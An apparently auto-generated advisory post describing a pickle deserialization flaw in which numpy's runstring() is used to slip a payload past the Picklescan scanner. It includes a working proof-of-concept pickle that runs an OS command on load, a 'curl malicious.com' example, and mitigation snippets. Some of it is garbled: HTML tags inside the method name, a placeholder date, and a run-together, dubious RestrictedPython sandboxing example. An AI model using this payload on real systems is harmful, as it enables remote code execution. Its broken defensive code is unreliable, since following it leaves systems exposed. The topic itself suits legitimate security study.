How the CVE Works
The vulnerability exploits Python’s `pickle` module by leveraging `numpy.testing._private.utils.runstring()` to bypass security scans. Pickle deserialization allows arbitrary code execution via __reduce__(), which reconstructs objects during unpickling. Attackers craft a payload where `runstring()` executes Python code containing OS commands (e.g., os.system("curl malicious.com")). Since Picklescan’s blacklist excludes Numpy, the malicious payload evades detection. When loaded via pickle.load(), the payload triggers remote code execution (RCE).
DailyCVE Form
Platform: Python
Version: pickle module
Vulnerability: Unsafe deserialization
Severity: High
Date: 2023-XX-XX
What Undercode Say:
Exploit:
1. Payload Creation:
import pickle
class Exploit:
def <strong>reduce</strong>(self):
from numpy.testing._private.utils import runstring
return runstring, ("import os; os.system('id')", {})
with open('exploit.pkl', 'wb') as f:
pickle.dump(Exploit(), f)
2. Bypassing Picklescan:
python -m picklescan scan exploit.pkl Returns "clean"
3. Triggering RCE:
pickle.load(open('exploit.pkl', 'rb')) Executes `id`
Protection:
1. Blacklist Numpy in Picklescan:
Modify Picklescan’s `unsafe_globals` to include Numpy functions:
unsafe_globals = ['numpy.testing._private.utils.runstring', 'os.system']
2. Use Safer Alternatives:
Replace `pickle` with `json` or `xml` for serialization.
3. Sandboxing:
Deserialize in restricted environments:
import restrictedpython code = """pickle.loads(payload)""" restrictedpython.compile_restricted(code)
4. Network Hardening:
Block outbound traffic from pickle-processing services:
iptables -A OUTPUT -p tcp --dport 80 -j DROP
5. Monitoring:
Log suspicious pickle loads:
import logging logging.basicConfig(filename='pickle_audit.log', level=logging.WARNING)
References:
References:
Reported By: https://github.com/advisories/GHSA-fj43-3qmq-673f
Extra Source Hub:
Undercode
